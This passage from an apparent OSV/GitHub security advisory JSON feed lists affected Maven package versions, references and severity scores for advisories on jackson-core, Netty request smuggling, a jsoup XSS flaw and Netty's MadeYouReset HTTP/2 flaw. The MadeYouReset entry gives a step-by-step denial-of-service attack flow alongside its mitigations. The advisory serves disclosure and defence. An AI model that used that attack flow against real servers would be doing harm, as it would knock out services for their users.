"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p6pp-m3f8-5c89/GHSA-p6pp-m3f8-5c89.json" } }, { "package": { "name": "tools.jackson.core:jackson-core", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ] } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ], "database_specific": { "last_known_affected_version_range": "<= 3.1.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p6pp-m3f8-5c89/GHSA-p6pp-m3f8-5c89.json" } }, { "package": { "name": "tools.jackson.core:jackson-core", "ecosystem": "Maven", "purl": "pkg:maven/tools.jackson.core/jackson-core" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.2" } ] } ], "versions": [ "3.2.0", "3.2.1" ], "database_specific": { "last_known_affected_version_range": "<= 3.2.1", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-p6pp-m3f8-5c89/GHSA-p6pp-m3f8-5c89.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ] }, { "id": "GHSA-p979-4mfw-53vg", "summary": "HTTP Request Smuggling in Netty", "details": "Netty before 4.1.42.Final mishandles whitespace before the colon in HTTP headers (such as a \"Transfer-Encoding : chunked\" line), which leads to HTTP request smuggling.", "aliases": [ "CVE-2019-16869" ], "modified": "2026-06-29T15:46:31.336570451Z", "published": "2019-10-11T18:41:23Z", "database_specific": { "cwe_ids": [ "CWE-444" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2019-09-30T14:47:35Z", "nvd_published_at": "2019-09-26T16:15:00Z" }, "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16869" }, { "type": "WEB", "url": "https://github.com/netty/netty/issues/9571" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/raaac04b7567c554786132144bea3dcb72568edd410c1e6f0101742e7@%3Cissues.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r959474dcf7f88565ed89f6252ca5a274419006cb71348f14764b183d@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r90030b0117490caed526e57271bf4d7f9b012091ac5083c895d16543@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r86befa74c5cd1482c711134104aec339bf7ae879f2c4437d7ec477d4@%3Ccommon-commits.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r8402d67fdfe9cf169f859d52a7670b28a08eff31e54b522cc1432532@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r832724df393a7ef25ca4c7c2eb83ad2d6c21c74569acda5233f9f1ec@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r831e0548fad736a98140d0b3b7dc575af0c50faea0b266434ba813cc@%3Cdev.rocketmq.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r7790b9d99696d9eddce8a8c96f13bb68460984294ea6fea3800143e4@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r73c400ab66d79821dec9e3472f0e2c048d528672bdb0f8bf44d7cb1f@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r4d3f1d3e333d9c2b2f6e6ae8ed8750d4de03410ac294bcd12c7eefa3@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r3225f7dfe6b8a37e800ecb8e31abd7ac6c4312dbd3223dd8139c37bb@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r131e572d003914843552fa45c4398b9903fb74144986e8b107c0a3a7@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0c3d49bfdbc62fd3915676433cc5899c5506d06da1c552ef1b7923a5@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/r0aa8b28e76ec01c697b15e161e6797e88fc8d406ed762e253401106e@%3Ccommits.camel.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@%3Cissues.drill.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/f6c5ebfb018787c764f000362d59e4b231c0a36b6253aa866de8c64e@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/ee6faea9e542c0b90afd70297a9daa203e20d41aa2ac7fca6703662f@%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/e39931d7cdd17241e69a0a09a89d99d7435bcc59afee8a9628d67769@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/e192fe8797c192679759ffa6b15e4d0806546945a41d8ebfbc6ee3ac@%3Ccommits.tinkerpop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/d7d530599dc7813056c712213e367b68cdf56fb5c9b73f864870bc4c@%3Cdev.olingo.apache.org%3E" }, { "type": "WEB", "url": "https://www.debian.org/security/2020/dsa-4597" }, { "type": "WEB", "url": "https://usn.ubuntu.com/4532-1" }, { "type": "WEB", "url": "https://seclists.org/bugtraq/2020/Jan/6" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00004.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2020/02/msg00018.html" }, { "type": "WEB", "url": "https://lists.debian.org/debian-lts-announce/2019/09/msg00035.html" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf5b2dfb7401666a19915f8eaef3ba9f5c3386e2066fcd2ae66e16a2f@%3Cdev.flink.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rf2bf8e2eb0a03227f5bc100b544113f8cafea01e887bb068e8d1fa41@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re78eaef7d01ad65c370df30e45c686fffff00b37f7bfd78b26a08762@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re45ee9256d3233c31d78e59ee59c7dc841c7fbd83d0769285b41e948@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/re0b78a3d0a4ba2cf9f4e14e1d05040bde9051d5c78071177186336c9@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdd5d243a5f8ed8b83c0104e321aa420e5e98792a95749e3c9a54c0b9@%3Ccommon-commits.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rdb69125652311d0c41f6066ff44072a3642cf33a4b5e3c4f9c1ec9c2@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@%3Ccommits.pulsar.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rcddf723a4b4117f8ed6042e9ac25e8c5110a617bab77694b61b14833@%3Cdev.rocketmq.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rcb2c59428f34d4757702f9ae739a8795bda7bea97b857e708a9c62c6@%3Ccommon-commits.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rc8d554aad889d12b140d9fd7d2d6fc2e8716e9792f6f4e4b2cdc2d05@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rc7eb5634b71d284483e58665b22bf274a69bd184d9bd7ede52015d91@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb3361f6c6a5f834ad3db5e998c352760d393c0891b8d3bea90baa836@%3Ccommon-issues.hadoop.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/rb25b42f666d2cac5e6e6b3f771faf60d1f1aa58073dcdd8db14edf8a@%3Cdev.rocketmq.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/6063699b87b501ecca8dd3b0e82251bfc85f29363a9b46ac5ace80cf@%3Cdev.olingo.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@%3Cdev.drill.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/51923a9ba513b2e816e02a9d1fd8aa6f12e3e4e99bbd9dc884bccbbe@%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/3e6d7aae1cca10257e3caf2d69b22f74c875f12a1314155af422569d@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/380f6d2730603a2cd6b0a8bea9bcb21a86c199147e77e448c5f7390b@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/37ed432b8eb35d8bd757f53783ec3e334bd51f514534432bea7f1c3d@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/35961d1ae00849974353a932b4fef12ebce074541552eceefa04f1fd@%3Cdev.olingo.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/2e1cf538b502713c2c42ffa46d81f4688edb5676eb55bd9fc4b4fed7@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/2494a2ac7f66af6e4646a4937b17972a4ec7cd3c7333c66ffd6c639d@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/19fed892608db1efe5a5ce14372137669ff639df0205323959af7de3@%3Cdev.olingo.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/0acadfb96176768caac79b404110df62d14d30aa9d53b6dbdb1407ac@%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://github.com/netty/netty/compare/netty-4.1.41.Final...netty-4.1.42.Final" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0445" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0164" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0161" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0160" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2020:0159" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2019:3901" }, { "type": "WEB", "url": "https://access.redhat.com/errata/RHSA-2019:3892" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/d3eb0dbea75ef5c400bd49dfa1901ad50be606cca3cb29e0d01b6a54@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/d14f721e0099b914daebe29bca199fde85d8354253be9d6d3d46507a@%3Ccommits.cassandra.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/cf5aa087632ead838f8ac3a42e9837684e7afe6e0fcb7704e0c73bc0@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/cbf6e6a04cb37e9320ad20e437df63beeab1755fc0761918ed5c5a6e@%3Ccommits.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/bdf7a5e597346a75d2d884ca48c767525e35137ad59d8f10b8fc943c@%3Cdev.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/b3ddeebbfaf8a288d7de8ab2611cf2609ab76b9809f0633248546b7c@%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/b3dda6399a0ea2b647624b899fd330fca81834e41b13e3e11e1002d8@%3Cdev.olingo.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/b2cd51795f938632c6f60a4c59d9e587fbacd7f7d0e0a3684850a30f@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/b264fa5801e87698e9f43f2b5585fbc5ebdc26c6f4aad861b258fb69@%3Cdev.olingo.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@%3Cdev.drill.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/af6e9c2d716868606523857a4cd7a5ee506e6d1710f5fb0d567ec030@%3Cdev.olingo.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/a0f77c73af32cbe4ff0968bfcbbe80ae6361f3dccdd46f3177547266@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/9317fd092b257a0815434b116a8af8daea6e920b6673f4fd5583d5fe@%3Ccommits.druid.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/9128111213b7b734ffc85db08d8f789b00a85a7f241b708e55debbd0@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/860acce024d79837e963a51a42bab2cef8e8d017aad2b455ecd1dcf0@%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/799eb85d67cbddc1851a3e63a07b55e95b2f44f1685225d38570ce89@%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/76540c8b0ed761bfa6c81fa28c13057f13a5448aed079d656f6a3c79@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/6e1e34c0d5635a987d595df9e532edac212307243bb1b49eead6d55b@%3Cissues.zookeeper.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/681493a2f9b63f5b468f741d88d1aa51b2cfcf7a1c5b74ea8c4343fb@%3Cissues.spark.apache.org%3E" }, { "type": "WEB", "url": "https://lists.apache.org/thread.html/64b10f49c68333aaecf00348c5670fe182e49fd60d45c4a3ab241f8b@%3Cissues.spark.apache.org%3E" } ], "affected": [ { "package": { "name": "io.netty:netty-all", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-all" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.0.0.Beta1" }, { "fixed": "4.1.42.Final" } ] } ], "versions": [ "4.0.0.Beta1", "4.0.0.Beta2", "4.0.0.Beta3", "4.0.0.CR1", "4.0.0.CR2", "4.0.0.CR3", "4.0.0.CR4", "4.0.0.CR5", "4.0.0.CR6", "4.0.0.CR7", "4.0.0.CR8", "4.0.0.CR9", "4.0.0.Final", "4.0.1.Final", "4.0.10.Final", "4.0.11.Final", "4.0.12.Final", "4.0.13.Final", "4.0.14.Beta1", "4.0.14.Final", "4.0.15.Final", "4.0.16.Final", "4.0.17.Final", "4.0.18.Final", "4.0.19.Final", "4.0.2.Final", "4.0.20.Final", "4.0.21.Final", "4.0.22.Final", "4.0.23.Final", "4.0.24.Final", "4.0.25.Final", "4.0.26.Final", "4.0.27.Final", "4.0.28.Final", "4.0.29.Final", "4.0.3.Final", "4.0.30.Final", "4.0.31.Final", "4.0.32.Final", "4.0.33.Final", "4.0.34.Final", "4.0.35.Final", "4.0.36.Final", "4.0.37.Final", "4.0.38.Final", "4.0.39.Final", "4.0.4.Final", "4.0.40.Final", "4.0.41.Final", "4.0.42.Final", "4.0.43.Final", "4.0.44.Final", "4.0.45.Final", "4.0.46.Final", "4.0.47.Final", "4.0.48.Final", "4.0.49.Final", "4.0.5.Final", "4.0.50.Final", "4.0.51.Final", "4.0.52.Final", "4.0.53.Final", "4.0.54.Final", "4.0.55.Final", "4.0.56.Final", "4.0.6.Final", "4.0.7.Final", "4.0.8.Final", "4.0.9.Final", "4.1.0.Beta1", "4.1.0.Beta2", "4.1.0.Beta3", "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", "4.1.0.CR7", "4.1.0.Final", "4.1.1.Final", "4.1.10.Final", "4.1.11.Final", "4.1.12.Final", "4.1.13.Final", "4.1.14.Final", "4.1.15.Final", "4.1.16.Final", "4.1.17.Final", "4.1.18.Final", "4.1.19.Final", "4.1.2.Final", "4.1.20.Final", "4.1.21.Final", "4.1.22.Final", "4.1.23.Final", "4.1.24.Final", "4.1.25.Final", "4.1.26.Final", "4.1.27.Final", "4.1.28.Final", "4.1.29.Final", "4.1.3.Final", "4.1.30.Final", "4.1.31.Final", "4.1.32.Final", "4.1.33.Final", "4.1.34.Final", "4.1.35.Final", "4.1.36.Final", "4.1.37.Final", "4.1.38.Final", "4.1.39.Final", "4.1.4.Final", "4.1.40.Final", "4.1.41.Final", "4.1.5.Final", "4.1.6.Final", "4.1.7.Final", "4.1.8.Final", "4.1.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/10/GHSA-p979-4mfw-53vg/GHSA-p979-4mfw-53vg.json" } }, { "package": { "name": "org.jboss.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/org.jboss.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "last_affected": "3.2.9.Final" } ] } ], "versions": [ "3.0.0.CR1", "3.0.0.CR2", "3.0.0.CR3", "3.0.0.CR4", "3.0.0.CR5", "3.0.0.GA", "3.0.1.GA", "3.0.2.GA", "3.1.0.ALPHA1", "3.1.0.ALPHA2", "3.1.0.ALPHA3", "3.1.0.ALPHA4", "3.1.0.BETA1", "3.1.0.BETA2", "3.1.0.BETA3", "3.1.0.CR1", "3.1.0.GA", "3.1.1.GA", "3.1.2.GA", "3.1.3.GA", "3.1.4.GA", "3.1.5.GA", "3.2.0.ALPHA1", "3.2.0.ALPHA2", "3.2.0.ALPHA3", "3.2.0.ALPHA4", "3.2.0.BETA1", "3.2.0.CR1", "3.2.0.Final", "3.2.1.Final", "3.2.2.Final", "3.2.3.Final", "3.2.4.Final", "3.2.5.Final", "3.2.6.Final", "3.2.7.Final", "3.2.8.Final", "3.2.9.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/10/GHSA-p979-4mfw-53vg/GHSA-p979-4mfw-53vg.json" } }, { "package": { "name": "io.netty:netty", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.3.0.Final" }, { "last_affected": "4.0.0.Alpha8" } ] } ], "versions": [ "3.10.0.Final", "3.10.1.Final", "3.10.2.Final", "3.10.3.Final", "3.10.4.Final", "3.10.5.Final", "3.10.6.Final", "3.3.0.Final", "3.3.1.Final", "3.4.0.Alpha1", "3.4.0.Alpha2", "3.4.0.Beta1", "3.4.0.Final", "3.4.1.Final", "3.4.2.Final", "3.4.3.Final", "3.4.4.Final", "3.4.5.Final", "3.4.6.Final", "3.5.0.Beta1", "3.5.0.Final", "3.5.1.Final", "3.5.10.Final", "3.5.11.Final", "3.5.12.Final", "3.5.13.Final", "3.5.2.Final", "3.5.3.Final", "3.5.4.Final", "3.5.5.Final", "3.5.6.Final", "3.5.7.Final", "3.5.8.Final", "3.5.9.Final", "3.6.0.Beta1", "3.6.0.Final", "3.6.1.Final", "3.6.10.Final", "3.6.2.Final", "3.6.3.Final", "3.6.4.Final", "3.6.5.Final", "3.6.6.Final", "3.6.7.Final", "3.6.8.Final", "3.6.9.Final", "3.7.0.Final", "3.7.1.Final", "3.8.0.Final", "3.8.1.Final", "3.8.2.Final", "3.8.3.Final", "3.9.0.Final", "3.9.1.1.Final", "3.9.1.Final", "3.9.2.Final", "3.9.3.Final", "3.9.4.Final", "3.9.5.Final", "3.9.6.Final", "3.9.7.Final", "3.9.8.Final", "3.9.9.Final", "4.0.0.Alpha1", "4.0.0.Alpha2", "4.0.0.Alpha3", "4.0.0.Alpha4", "4.0.0.Alpha5", "4.0.0.Alpha6", "4.0.0.Alpha7", "4.0.0.Alpha8" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/10/GHSA-p979-4mfw-53vg/GHSA-p979-4mfw-53vg.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N" } ] }, { "id": "GHSA-pmhh-3w7g-xqp8", "summary": "jsoup: Cleaner may expose markup with custom raw-text elements", "details": "When a custom `Safelist` permits certain raw-text elements, jsoup may incorrectly sanitize malformed HTML containing a tag name that ends in a control character. The tag may acquire the parsing behavior of a different element, causing content that should remain text to be emitted as active markup after serialization and potentially allowing XSS.\n\njsoup’s built-in Safelists are unaffected.\n\n## Patches\n\nUpgrade to jsoup 1.23.1.\n\n## Workarounds\n\nUntil upgrading, do not permit raw-text elements in custom Safelists used to clean untrusted HTML.\n\n## Additional security considerations\n\nThis fix addresses malformed tag-name handling only.\n\nPermitting raw-text elements in a custom `Safelist` does not make their contents inherently safe. For example, applications that permit `style` must apply appropriate CSS safeguards separately, because jsoup does not parse or sanitize CSS.", "aliases": [ "CVE-2026-71497" ], "modified": "2026-09-10T03:50:53.809983880Z", "published": "2026-08-06T21:09:36Z", "database_specific": { "github_reviewed": true, "github_reviewed_at": "2026-08-06T21:09:36Z", "nvd_published_at": null, "cwe_ids": [ "CWE-79" ], "severity": "MODERATE" }, "references": [ { "type": "WEB", "url": "https://github.com/jhy/jsoup/security/advisories/GHSA-pmhh-3w7g-xqp8" }, { "type": "WEB", "url": "https://github.com/jhy/jsoup/issues/2538" }, { "type": "WEB", "url": "https://github.com/jhy/jsoup/commit/92f1aca552548b484bc7d4b94c51e48b8e6eca70" }, { "type": "PACKAGE", "url": "https://github.com/jhy/jsoup" }, { "type": "WEB", "url": "https://github.com/jhy/jsoup/releases/tag/jsoup-1.23.1" } ], "affected": [ { "package": { "name": "org.jsoup:jsoup", "ecosystem": "Maven", "purl": "pkg:maven/org.jsoup/jsoup" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "1.14.3" }, { "fixed": "1.23.1" } ] } ], "versions": [ "1.14.3", "1.15.1", "1.15.2", "1.15.3", "1.15.4", "1.16.1", "1.16.2", "1.17.1", "1.17.2", "1.18.1", "1.18.2", "1.18.3", "1.19.1", "1.20.1", "1.21.1", "1.21.2", "1.22.1", "1.22.2" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/08/GHSA-pmhh-3w7g-xqp8/GHSA-pmhh-3w7g-xqp8.json" } } ], "schema_version": "1.9.0", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N" } ] }, { "id": "GHSA-prj3-ccx8-p6x4", "summary": "Netty affected by MadeYouReset HTTP/2 DDoS vulnerability", "details": "Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.”\n\n### MadeYouReset Vulnerability Summary\nThe MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service.\n\n### Mechanism\nThe vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). \nThe vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are:\n1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1)\n2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1)\n3. PRIORITY frame with a length other than 5. (section 6.3)\nFrom our experience, the primitives are likely to exist in the decreasing order listed above.\nNote that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0.\n\nThe vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. \nWhile the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled.\n\nThus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM.\n\n### Attack Flow\nFor example, a possible attack scenario can be: \n1. Attacker opens an HTTP/2 connection to the server.\n2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. \n3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0.\n4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1).\n\nThe attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server.\nThis leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent)\n\n### Comparison to Rapid Reset\nThe vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors.\nThe Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5.\nRapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM.\n\n### Suggested Mitigations for MadeYouReset\nA quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server.\nIt is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error.\n\nAs mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively.\n\n\nIf you have any questions, we will be happy to clarify or schedule a Zoom call.\n\nGal, Anat and Yaniv.", "aliases": [ "CVE-2025-55163" ], "modified": "2026-09-10T03:50:27.396257754Z", "published": "2025-08-13T19:06:56Z", "database_specific": { "cwe_ids": [ "CWE-770" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-08-13T19:06:56Z", "nvd_published_at": "2025-08-13T15:15:39Z" }, "references": [ { "type": "WEB", "url": "https://github.com/netty/netty/security/advisories/GHSA-prj3-ccx8-p6x4" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55163" }, { "type": "WEB", "url": "https://github.com/grpc/grpc-java/commit/6462ef9a11980e168c21d90bbc7245c728fd1a7a" }, { "type": "WEB", "url": "https://github.com/netty/netty/commit/be53dc3c9acd9af2e20d0c3c07cd77115a594cf1" }, { "type": "PACKAGE", "url": "https://github.com/netty/netty" }, { "type": "WEB", "url": "https://www.kb.cert.org/vuls/id/767506" }, { "type": "WEB", "url": "http://www.openwall.com/lists/oss-security/2025/08/16/1" } ], "affected": [ { "package": { "name": "io.netty:netty-codec-http2", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec-http2" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "4.2.0.Alpha1" }, { "fixed": "4.2.4.Final" } ] } ], "versions": [ "4.2.0.Alpha1", "4.2.0.Alpha2", "4.2.0.Alpha3", "4.2.0.Alpha4", "4.2.0.Alpha5", "4.2.0.Beta1", "4.2.0.Final", "4.2.0.RC1", "4.2.0.RC2", "4.2.0.RC3", "4.2.0.RC4", "4.2.1.Final", "4.2.2.Final", "4.2.3.Final" ], "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-prj3-ccx8-p6x4/GHSA-prj3-ccx8-p6x4.json", "last_known_affected_version_range": "<= 4.2.3.Final" } }, { "package": { "name": "io.netty:netty-codec-http2", "ecosystem": "Maven", "purl": "pkg:maven/io.netty/netty-codec-http2" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "4.1.124.Final" } ] } ], "versions": [ "4.1.0.Beta4", "4.1.0.Beta5", "4.1.0.Beta6", "4.1.0.Beta7", "4.1.0.Beta8", "4.1.0.CR1", "4.1.0.CR2", "4.1.0.CR3", "4.1.0.CR4", "4.1.0.CR5", "4.1.0.CR6", 